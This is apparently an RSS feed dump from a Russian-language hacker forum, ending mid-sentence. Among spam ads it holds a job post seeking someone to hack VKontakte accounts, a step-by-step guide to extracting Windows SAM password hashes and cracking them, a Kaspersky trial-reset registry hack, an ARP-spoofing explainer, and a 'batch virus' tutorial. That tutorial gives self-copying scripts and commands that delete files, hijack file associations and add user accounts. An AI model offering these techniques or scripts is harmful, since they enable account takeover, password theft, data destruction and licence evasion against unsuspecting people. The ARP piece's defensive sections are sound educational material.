https://hackerforum.0pk.me/ Хакерский форум ru-ru Fri, 30 Jun 2023 23:24:52 +0300 MyBB/mybb.ru https://hackerforum.0pk.me/viewtopic.php?pid=17#p17 <p><a href="https://postimages.org/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="https://i.postimg.cc/Y2VrXMMs/topgoods.jpg" alt="https://i.postimg.cc/Y2VrXMMs/topgoods.jpg" /></a> Внимание, владельцы бизнеса! Представляем вам уникальное решение для оптимизации вашего интернет-присутствия - топовые мобильные прокси фермы от Mobileproxy.ru! &#9989; Наше оборудование это передовое устройство, которое позволяет вам выходить в интернет сразу с нескольких IP-адресов из одного места. &#9989; Однако важно отметить, что наша техника не обеспечивает анонимность и она не предназначена для обхода блокировок, выход в сеть осуществляется с использованием купленных вами сим-карт. &#9989; Теперь самое интересное! Приобретая оборудование от Mobileproxy.ru с использованием промокода s455, вы получаете невероятную скидку в размере 5000 рублей! Это отличная возможность сэкономить и воспользоваться передовыми технологиями для вашего бизнеса. &#9989; Наши мобильные прокси фермы откроют перед вами широкие возможности. Вы сможете одновременно управлять несколькими аккаунтами, заниматься продвижением сайтов, сдавать прокси ферму в аренду, собирать данные с разных источников одновременно и многое другое где нужно одновременно несколько подключений к сети и периодическая смена ip адреса. С Mobileproxy.ru ваш бизнес будет оперативным, эффективным и успешным! &#9989; Не упустите возможность улучшить свое интернет-присутствие и сэкономить деньги! Посетите наш веб-сайт &lt;a href=&quot;https://mobileproxy.ru/&quot;&gt;MobileProxy.ru&lt;/a&gt;, выберите подходящее оборудование, введите промокод s455 при оформлении заказа и получите скидку в размере 5000 рублей! &#9989; Mobileproxy.ru - ваш надежный партнер для успешного интернет-бизнеса!</p> mybb@mybb.ru (htqqlkqcci) Fri, 30 Jun 2023 23:24:52 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=17#p17 https://hackerforum.0pk.me/viewtopic.php?pid=16#p16 <p>Компьютеры, ноутбуки - техника современная и не застрахована от поломок. К такому типу техники нужен своевременный и комплексный подход, который могут обеспечить наши компетентные мастера. Самостоятельно починить компьютер сможет 5 человек из 100, а поломки происходят у каждого второго! Мы предоставляем услуги высокого качества по ремонту и исправлению проблем компьютерной техники более чем в 60 городах по РФ. Так же наши филиалы представлены в Республике Беларусь. Заявки обрабатываются нашими сотрудниками и не перепродаются в сторонние компании. Перейти:&#160; <a href="https://rempc-v-mo.ru/?t=33705" rel="nofollow" target="_blank">https://rempc-v-mo.ru/?t=33705</a></p> mybb@mybb.ru (htqqlkqcci) Fri, 17 Mar 2023 11:54:54 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=16#p16 https://hackerforum.0pk.me/viewtopic.php?pid=14#p14 <p>Нужен человек, способный взламывать страницы ВКонтакте.<br />От 20 страниц в неделю, работа стабильная, оплата по факту либо работаем через гаранта. </p> <p>Связь:<br />ICQ - 698882980<br />Почта: ivakaha@yandex.ru</p> mybb@mybb.ru (Ktdf) Wed, 16 Sep 2015 19:26:37 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=14#p14 https://hackerforum.0pk.me/viewtopic.php?pid=13#p13 <p>где смотреть рисунок?</p> mybb@mybb.ru (BARS) Fri, 02 Nov 2012 19:59:46 +0400 https://hackerforum.0pk.me/viewtopic.php?pid=13#p13 https://hackerforum.0pk.me/viewtopic.php?pid=12#p12 <p>Итак, надо узнать пароли пользователей.</p> <p>Где же они? - Они в: &lt;Системный диск&gt;:\&lt;директория винды&gt;\system32\config</p> <p>Нам нужно два файла: sam &amp; system.</p> <p>Собственно sam это база и есть. А system нам нужно, т.к. в експюшке применяется дополнительно шифровка с помощью syskey.</p> <p>Но там вовсе не пароли! Там хеши (т.е. попросту говоря пароли зашифрованы). Это грустно. А значит нужно будет «достать оттуда пароли». Но не все сразу сначала нужно хоть хеши получить!</p> <p>Просто скопировать эти файлы не выйдет! Винда не настолько тупая.</p> <p>Тогда как? – </p> <p>Загрузится с под другой оси и винда нам не помешает! Например из другой винды. Не подходит? Тогда можно загрузится из MS-DOS. Да да, именно!</p> <p>Где ее достать? Можно купить диск со всякими там загрузочными «фичами», в том числе и с MS-DOS. А можно создать загрузочную дискетку с той же MS-DOS.</p> <p>Как? Вставляем дискетку -) выбираем ее в проводнике -) жмем правой -) форматировать -) ставим&#160; птичку на создание загрузочного диска MS-DOS.</p> <p>ОК. Теперь перегружаемся -) идет загрузка с дискеты. Не идет? Тогда перегружаем еще раз и жмем после появления экрана BIOS del илиdelete если производства Award или&#160; F2 для AMI. Мы попали в меню настроек. Ищем че-то типа Boot priority(очередь опрашивания устройств на предмет загрузки). Первым надо поставить floopy, тобишь чтоб первым искало на дискете. Вторым лучьше поставить дисковод для дисков, ну а третьим соответственно винчестер.</p> <p>Фух. Жмем F10. Сохранить изменения? – Да.</p> <p>Опля! Пошла загрузка MS-DOS. Появилось приглашение типа A:\&gt;</p> <p>ОК. Надо скопировать файлы. Пишем для копирования SAM: copy &lt;Системный диск&gt;:\&lt;директория винды&gt;\system32\config\sam &lt;Польный путь к месту куда хотим скопировать&gt;</p> <p>И аналогично дляsystem. Напримерcopy C:\windows\system32\system A: </p> <p>В этом случае файл system скопируется на дискету. У одних могло получится а у других нет. Основная причина то, что у кого то винда стоит на разделе с&#160; FAT32 а у другого NTFS.C FAT32 проблем недолжно быть. А вот для того чтобы ДОС увидел NTFSнадо предварительно скопировать на дискету файл ntfsdos – это дайвер для DOS, который позволяет определить, посмотреть и смонтировать NTFS-разделы жесткого диска. После загрузки ДОСа запускаем драйвер -) пишем ntfsdos.exe Буквы жестки дисков поменяются! C: станет D: и т.п. </p> <p>Теперь опять можно копировать файлы.</p> <p>Ура! Файлы скопированы. Но ведь оттуда надо&#160; «достать пароли»? Как? – Нам поможет SAMInside. Это самая быстрая прога для подбора пароля. Суем ей файл SAM -) она спросит SYSTEM -) даем и этот. Теперь видны имена пользователей. Выбираем пользователя и запускаем перебор. Можно по словарю, можно перебором всех возможных комбинаций. Можно еще… вообщем полазьте посмотрите как там можно. Единственное.. что ж выбрать атаку на LM или на NT? Сразу скажу что если можно LM то смело выберайте именно его – это ваш наибольший шанс! Если же нельзя, то пароль может включать еще и заглавные буквы, да и кто-его знает что еще. В этом случае при достаточной длине и сложном пароле ваш перебор может в разумные сроки вообще недать результатов! Вот-так вот грусно. Да, еще одно: перебор может длится часами, днями а то и дольше как отмечалось (бесконечность?). Но не так все плачевно! J Обычно пользователи выбирают весьма короткие (до 7 знаков) пароли.</p> <p>Ntfsdos <a href="http://www.driverov.net/soft/download-7102.html" rel="nofollow" target="_blank">http://www.driverov.net/soft/download-7102.html</a></p> <p>SAMInside <a href="http://megaurl.net/02006" rel="nofollow" target="_blank">http://megaurl.net/02006</a></p> <p>P.S: Возможно далее будет…</p> <p>Я не несу ответственности за то что вы сделаете обладая этими знаниями. Информация предоставлена исключительно для ознакомления.</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 17:16:11 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=12#p12 https://hackerforum.0pk.me/viewtopic.php?pid=11#p11 <p>rundll32 rnaui.dll,RnaWizard - вызов мастера &quot;Удаленный доступ к сети&quot;. </p> <p>rundll32 rnaui.dll,RnaWizard /1 - вызов мастера &quot;Удаленный доступ к сети&quot; без отображения начального окна. </p> <p>rundll32 shell,ShellExecute - открыть Проводник (папка &quot;Рабочий стол&quot;). </p> <p>rundll32 shell32,Control_RunDLL - открыть в Проводнике папку &quot;Панель управления&quot;. </p> <p>программ&quot;, в котором будет открыта вкладка с номером &quot;n&quot; (от 1 до 3). </p> <p>rundll32 shell32,Control_RunDLL main.cpl @0 - открыть диалог &quot;Свойства мыши&quot;. </p> <p>rundll32 shell32,Control_RunDLL main.cpl @1 - открыть диалог &quot;Свойства клавиатуры&quot;. </p> <p>rundll32 shell32,Control_RunDLL main.cpl @2 - открыть папку &quot;Принтеры&quot;. </p> <p>rundll32 shell32,Control_RunDLL main.cpl @3 - открыть папку &quot;Шрифты&quot;. </p> <p>rundll32 SHELL32,Control_RunDLL modem.cpl, add - открыть диалог &quot;Свойства модема&quot;. </p> <p>rundll32 shell32,Control_RunDLL timedate.cpl - открыть диалог &quot;Дата и время&quot;. * </p> <p>rundll32 shell32,OpenAs_RunDLL - вызвать диалог &quot;Открыть с помощью...&quot;. </p> <p>rundll32 shell32,ShellAboutA HACKZONE.RU - информация о версии Windows. </p> <p>rundll32 shell32,SHExitWindowsEx 0 - закрыть все программы, перегрузить оболочку. </p> <p>rundll32 shell32, SHExitWindowsEx 1 - выключить ПК. </p> <p>rundll32 shell32, SHExitWindowsEx 2 - перегрузить ПК. </p> <p>rundll32 shell32,SHExitWindowsEx 4 - принудительно закрыть все программы. </p> <p>rundll32 shell32,SHExitWindowsEx 8 - выход из Windows и выключение ATX-совместимого ПК. </p> <p>rundll32 shell32,SHFormatDrive - вызов диалога форматирования диска А:. </p> <p>rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter - запуск &quot;Мастера установки <br />принтера&quot;. </p> <p>rundll32 shell32,SHHelpShortcuts_RunDLL Connect - запуск мастера подключения сетевого диска. </p> <p>rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage - распечатать тестовую страницу. </p> <p>rundll32 sysdm.cpl,InstallDevice_Rundll - вызов мастера установки оборудования. </p> <p>rundll32 url.dll,FileProtocolHandler %1 - открыть веб-страницу, где %1 - URL сайта (включая http://). </p> <p>rundll32 url.dll,MailToProtocolHandler %1 - создать новое письмо, где %1 - e-mail адресата. </p> <p>rundll32 user,CASCADECHILDWINDOWS - расположить все окна каскадом. </p> <p>rundll32 user,TILECHILDWINDOWS - расположить все окна по экрану. </p> <p>rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать. </p> <p>rundll32 user,ExitWindowsExec - быстрая перезагрузка Windows. <br />&#160; <br />rundll32 user,WNetDisconnectDialog - вызов диалога &quot;Отключение сетевого диска&quot;. </p> <p>rundll32 AppWiz.Cpl,NewLinkHere %1 - запуск мастера создания нового ярлыка, где %1 - путь к исходному файлу. </p> <p>rundll32 shell32.dll,Control_RunDLL hotplug.dll - диалоговое окно Отключение или извлечение аппаратного устройства </p> <p>rundll32 мсprint2.dll,RUNDLL_PrintTestPage - распечатать тестовую страницу на принтере. </p> <p>rundll32 netplwiz.dll,AddNetPlaceRunDll - вызов мастера подключения нового сетевого ресурса &quot;Добавление в сетевое окружение&quot;. </p> <p>rundll32 user,RepaintScreen - выполнить команду &quot;Обновить&quot;. </p> <p>rundll32 user,SetCaretBlinkTime n - задать частоту мигания курсора, соответствующую значению параметра n. </p> <p>rundll32 user,SetCursorPos - переместить курсор мыши в верхний левый угол экрана. </p> <p>rundll32 user,SetDoubleClickTime n - задать скорость двойного нажатия левой кнопки мыши (Double Click), соответствующую параметру n. </p> <p>rundll32 user,SwapMouseButton - поменять местами клавиши мыши (обратная смена невозможна). </p> <p>rundll32 user,WNetConnectDialog - вызов диалога &quot;Подключение сетевого диска&quot;. </p> <p>все из башки <br />ну и из книжек конечно</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 17:12:40 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=11#p11 https://hackerforum.0pk.me/viewtopic.php?pid=9#p9 <p>Многие из нас, дорогие мои коллеги, переустанавливая систему, да и просто, когда в конце концов понимают, что необходима защита, задумываются, какой бы антивирусник установить хороший, да что бы вирусы ловил, и обновлялся постоянно! Устанавливая касперского, например, ключ покупать нет денег, думаем возьмем ка пробный ключик на месяц, а там видно будет....</p> <p>Пройдя месяц мы удаляем касперского, так как тот просит коммерческий ключ.</p> <p>Но есть выход каждый месяц дурить антивирус и продливать его ещё на месяц. </p> <p>ВАЖНО ВЫПОЛНЯТЬ ДЕЙСТВИЯ СТРОГО ПО НИЖЕСЛЕДУЮЩЕЙ ИНСТРУКЦИИ ВО ИЗБЕЖАНИЕ НЕПОЛАДОК В РАБОТЕ ВСЕЙ СИСТЕМЫ!!!</p> <p>1. Выключаем антивирус в нижнем правом углу, нажав на него правой кнопкой мыши- выход.<br />&#160; <br /><br /><br /><br /> </p> <p>2. Нажимаем ПУСК=&gt; ВЫПОЛНИТЬ. В поле ввода команды набираем REGEDIT.<br />Нажимаем ОК.<br /> <br /><br /> <br /><br /> </p> <p>3. Далее запустится программа для редактирования реестра.<br /></p> <p>В левой части окна проследуем по следующему адресу.<br />HKEY_LOCAL_MACHINE =&gt; SOFTWARE =&gt; Microsoft =&gt; SystemCertificates =&gt; SPC =&gt; Certificates =&gt; <br /><br /> </p> <p>В папке Certificates нужно полностью очистить содержимое. Т. Е . удалить 3, находящиеся в ней папки, выделив по очереди каждую из папок правой кнопкой и удаляем.<br />Внимание! Названия папок могут отличаться от названия папок на рисунке.<br />Все равно удаляем все содержимое папки Certificates.<br /><br /> </p> <p>4. Следующим шагом будет удаление еще одного ключа в реестра.<br />Пройдя по адресу <br />HKEY_LOCAL_MACHINE =&gt; SOFTWARE =&gt; KasperskyLab =&gt; LicStorage =&gt;<br />При нажатии на LicStorage в правой части редактора появляется двоичный ключ под названием KIS или KAV, выделяем его правой кнопкой мыши, удаляем.<br /><br /> </p> <p>5. ВНИМАНИЕ!!!!! После выше произведенных действий обязательно перезагружаем компьютер сразу. После перезагрузки Антивирус попросит зарегистрировать версию. Выбираем графу с временной регистрацией ПРИ ВЫПОЛНЕНИИ ДЕЙСТВИЙ ГРАФЫ 5 НЕОБХОДИМО ИМЕТЬ СОЕДИНЕНИЕ С ИНТЕРНЕТОМ. . И антивирус продлен еще на один месяц. <br />ПОЗДРАВЛЯЮ.<br />Так же эту статью можно скачать в формате Word 2003 по следующей ссылке</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 16:57:58 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=9#p9 https://hackerforum.0pk.me/viewtopic.php?pid=8#p8 <p>ARP-spoofing (ARP-poisoning) — техника сетевой атаки применяемая преимущественно в Ethernet, но возможная и в других, использующих протокол ARP сетях, основанная на использовании недостатков протокола ARP и позволяющая перехватывать трафик между узлами, которые расположены в пределах одного широковещательного домена. </p> <p>В статье детально описана техника атаки ARP-spoofing, рассмотрены такие методы обнаружения и предотвращения ARP-атак,использование VLAN и PPPoE. <br />Что такое и для чего нужен ARP </p> <p>Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других. </p> <p>Дополнительная информация: <br />Address Resolution Protocol — страница в WikipediA <br />RFC 826 — описание стандарта ARP <br />Алгоритм работы ARP </p> <p>Протокол может использоваться в следующих случаях: <br />Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети; <br />Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R. </p> <p>В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции. </p> <p>Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.) <br />Проблемы ARP </p> <p>Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP). </p> <p>Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса.Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP. </p> <p>Самопроизвольный ARP может быть полезен в следующих случаях: <br />Обновление ARP-таблиц, в частности, в кластерных системах; <br />Информирование коммутаторов; <br />Извещение о включении сетевого интерфейса. </p> <p>Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь. </p> <p>Подробнее: <br />Gratuitous_ARP на wiki.wireshark.org <br />ARP-spoofing </p> <p>До выполнения ARP-spoofing'а в ARP-таблице узлов A и B существуют записи с IP- и MAC-адресами друг друга. Обмен информацией производится непосредственно между узлами A и B. </p> <p>В ходе выполнения ARP-spoofing'а компьютер C, выполняющий атаку, отправляет ARP-ответы (без получения запросов): <br />узлу A: с IP-адресом узла B и MAC-адресом узла C; <br />узлу B: с IP-адресом узла A и MAC-адресом узла C. </p> <p>В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C.&#160; </p> <p>После того как атака выполнена, когда компьютер A хочет передать пакет компьютеру B, он находит в ARP-таблице запись (она соответствует компьютеру C) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован — т.е. компьютеру B. <br />Методы обнаружения <br />Программа arpwatchотслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog. <br />XArp — аналог arpwatch для Windows <br />remarp — аналог arpwatch, работающий через SNMP <br />* ArpStar — система автоматического обнаружения и предотвращения ARP-spoofing'a; возможно восстановление ARP-таблицы заражённых узлов <br />Методы предотвращения </p> <p>Борьба с ARP-spoofing'ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной. <br />Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing'у, существует возможность незамеченной односторонней атаки. <br />Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить. </p> <p>Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяcнения. Однако, такой подход имеет большой недостаток -- он может быть использован для выполнения DOS атаки: достаточно только узнать MAC адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing'а все сделает сама. </p> <p>В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно раличных принципа, каждый из которых обладает как достоинствами, так и недостатками. </p> <p>Оба способа, помимо того что они надёжно защищают от ARP-spoofing'а имеют ещё то преимущество, что позволяют полностью контролировать трафик -- не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.) <br />Статический ARP </p> <p>Можно бороться со слабостями протокола ARP кардинально -- просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу. </p> <p>Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком. </p> <p>Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос. <br />Преимущества и недостатки </p> <p>Метод ручного формирования ARP-таблиц имеет следующие недостатки: <br />добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах. <br />клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing'у. <br />Другие методы борьбы с ARP-spoofing'ом </p> <p>К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен. </p> <p>Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing'а в ней было принципиально невозможно. А если возможным, то бесполезным. </p> <p>Это можно сделать двумя способами: <br />Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять -- нужен третий. А его нет. <br />Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора. </p> <p>Первый способ делается с помощью VLAN'ов. Второй -- с помощью PPPoE. <br />Использование VLAN <br />Основная статья: VLAN </p> <p>Компьютер C может использовать ARP-spoofing против компьютера Aтолько в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело). </p> <p>VLAN'ы помогают сегментировать сеть -- превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN'е. В наиболее крайнем случае, когда в каждом VLAN'е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко. <br />Преимущества <br />От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски. <br />Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке. <br />Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN'ах. Если каждый узел находится в собственном VLAN'е такой обмен невозможен вообще. <br />Недостатки <br />Необходима поддержка VLAN'ов коммутатором. <br />Необходимо потратить время на настройку VLAN'ов, дополнительную настройку DHCP'сервера. <br />Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы. <br />Использование PPPoE <br />Основная статья: PPPoE <br />Преимущества <br />Данные шифруются <br />Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой <br />Недостатки <br />На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения. <br />За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются. <br />При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза. <br />При большом количестве соединений PPPoE (&gt;200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных. <br />Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec <br />Мифы и заблуждения, касающиеся ARP-spoofing <br />ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов </p> <p>Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное. </p> <p>При ARP-spoofing'е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом. <br />ARP cache poisoning</p> <p>Компьютер, связанный с IP/Ethernet&#160; сетью имеет два адреса. Глобально-уникальный&#160; MAC адрес&#160; для каждого сетевого интерфейса и логический IP адрес, назначенный программой. Протокол определения адресов (ARP protocol) формирует ассоциацию между этими двумя адресами. Когда компьютер должен послать пакет IP адресу, расположенному в той же самой сети, он пошлет широковещательное сообщение &quot;ARP who has ?&quot;. Как показано на рисунке, владелец IP адреса отвечает со своим Ethernet адресом. </p> <p>Чтобы минимизировать широковещательные ARP запросы, операционные системы кэшируют ARP ответы.&#160; </p> <p>К сожалению, протокол определения адресов не поддерживает состояние подключения (stateless), и большинство операционных систем обновляет кэш при получении ARP ответа, независимо от того, отослали ли они фактический запрос. Посылая поддельные ARP ответы, атакующий может заставить операционную систему посылать фреймы, предназначенные одному компьютеру на другой компьютер. Этот процесс известен как &quot;ARP Cache poisoning&quot;. </p> <p> В зависимости от операционной системы, отравление кэша может быть достигнуто восемью типами ARP сообщений со следующими свойствами: <br />ARP сообщение послано в MAC broadcast или MAC unicast. <br />Код операции может быть &quot;ARP Who is&quot; или &quot;ARP Reply&quot;. <br />ARP сообщение - допустимое сообщение или недопустимое (внедрение тех же самых IP адресов для источника и адресата) </p> <p>Согласно проведенным испытаниям на операционных системах Windows 9x, NT, 2000, XP, Solaris 8, Linux kernel 2.2 и 2.4, Cisco IOS 12, Nokia IPSO 3.5, существует не менее одного типа ARP сообщения, способного отравить кэш. Кроме того, на системах Windows (9x/NT/2K), статическая ARP запись может всегда быть перезаписана, используя фальшивое ARP сообщение. </p> <p>Обратите внимание, что из-за способа обработки&#160; MAC адреса на концентраторе, имитация источника MAC адреса приведет к тому, что злонамеренный пользователь некоторое время будет получать весь трафик, предназначенный подмененной системе, вызывая тем самым отказ в обслуживании на короткое время. <br />IP Smart Spoofing</p> <p>Используя отравления ARP кэша, злонамеренный пользователь вставляет свой компьютер по пути связи от сервера к клиенту. Используя IP переадресацию, существующий трафик все еще направляется к клиенту. Конечно, ICMP Redirect должен быть заблокирован на компьютере злонамеренного пользователя. Наконец,&#160; SNAT (Source Network Address Translation) используется злонамеренным пользователем для обмана IP адреса клиента и установления нового подключение к серверу.</p> <p> После этого, злонамеренный пользователь может запустить любые стандартные сетевые приложения, чтобы подключиться к серверу, используя IP адрес клиента. Любое управление доступом, основанное на IP адресе клиента,&#160; будет успешно обойдено. Кроме того, существующий трафик не будет нарушен со стороны сервера, т.е. smart spoofing атака не может быть обнаружена. <br />Воздействие Smart Spoofing</p> <p>Сетевые устройства, типа маршрутизаторов или межсетевых защит часто используют фильтрацию по IP адресу источника. Эти правила могут быть обойдены с любого компьютера, расположенного на сетевом пути между авторизованным клиентом и межсетевой защитой. Например, в большинстве корпоративных сетей, подключенных к Internet через межсетевую защиту, только немногие из идентифицированных компьютеров могут непосредственно обращаться к интернету (внутренний прокси сервер, получение/отправка SMTP сообщений на прямую, и т.п). Используя smart spoofing, любой внутренний пользователь может обойти правила фильтрации. </p> <p>Тем же самым способом, приложение, доступ которого ограничен определенным IP адресам, может неправильно эксплуатироваться любым компьютером, расположенным на сетевом пути между авторизованным клиентом и сервером. Уязвимость может воздействовать на многие приложения, типа Apache ACL, r-commands, NFS, TCP Wrapper, ограниченные административные средства, и т.д</p> mybb@mybb.ru (admin) Tue, 15 Dec 2009 16:55:38 +0300 https://hackerforum.0pk.me/viewtopic.php?pid=8#p8 https://hackerforum.0pk.me/viewtopic.php?pid=7#p7 <p>Итак, приступим. Вы решили заняться вирусо-писательством. Сразу вам скажу, что эти вирусы, конечно, могут очень сильно навредить компьютеру, но полноценно передаваться с одного компьютера на другой они не могут. За все, что произойдет с вашим компьютером отвечаете вы и только вы. Приступим:<br />1) Открываем блокнот;<br />2) Пишем в нем «mspaint», без кавычек;<br />3) Сохраняем файл под любым именем, но вместо .txt мы напишем .bat;<br />4) Откроем файлик и увидим, что открылся Paint))<br />Вот и готова наша первая программка. Вместо «mspaint» можно вписать любую программу, например: Calc-калькулятор, Taskmgr-диспетчер задач… Но при чем здесь вирусы? - спросите вы. Ни при чем)) Следующее, что мы сделаем, это программа для изменения времени на компьютере, да и еще она будит копировать себя на флешку (если та вставлена). Итак:<br />Пишем в блокноте:</p> <p>time 00:00<br />copy %0 F:\Work.bat</p> <p>Первой сточкой мы изменяем время на 00:00, а второй скопируем файл на диск F - флешка с именем Work. Не забудьте, сохранить блокнотовский файл в формате .bat. Вместо времени можно изменить и дату «Date 13.06.23». Написав такую строчку, мы изменим дату на 2023 год, 6 месяц, 13 число)) Теперь небольшой перечень того, что можно писать в блокнотовском вирусе.<br />СПИСОК: </p> <p>1) «copy %0 x:\y» - копирует вирус на диск x в папку y (пример copy %0 C:\System.bat);<br />2) «label x:y» - переименовывает диск x на имя y (пример label C:error);<br />3) «time х:у» - меняет время на х часов и у минут (пример time 14:27);<br />4) «date x.y.z» - меняет дату на x день, y месяц, z лет (пример date 16.11.05);<br />5) «md х» - создаст папку, в том месте, где наш вирус, с именем х (пример md Papka);<br />6) «del *.* /q» - удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок);<br />7) «del x:\y *.* /q» - удалит все файлы на диске х в папке у (кроме папок)&#160; (пример del F:\Data*.* /q);<br />8) «assoc .х=.у» - переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3);<br />9) «net user &quot;х&quot; /add» - добавит на компьютер пользователя под именем х (пример net user &quot;Smoked&quot; /add);<br />Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.<br />1)Программа для удаления файлов с флешки (если та вставлена) и переименования ее.</p> <p>del F:\ *.* /q<br />label F:HACK</p> <p>2)Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.</p> <p>time 14:13<br />date 11.07.12<br />copy %0 C:\Time.bat<br />copy %0 F:\Time.bat</p> <p>Вы уже умеете создавать простенькие вирусы.<br />Он умеет: менять время, дату, названия дисков и флешек, открывать программы, создавать папки, копировать себя, добавлять пользователей, менять расширения и уничтожать информацию. Это довольно небольшой список, чесно 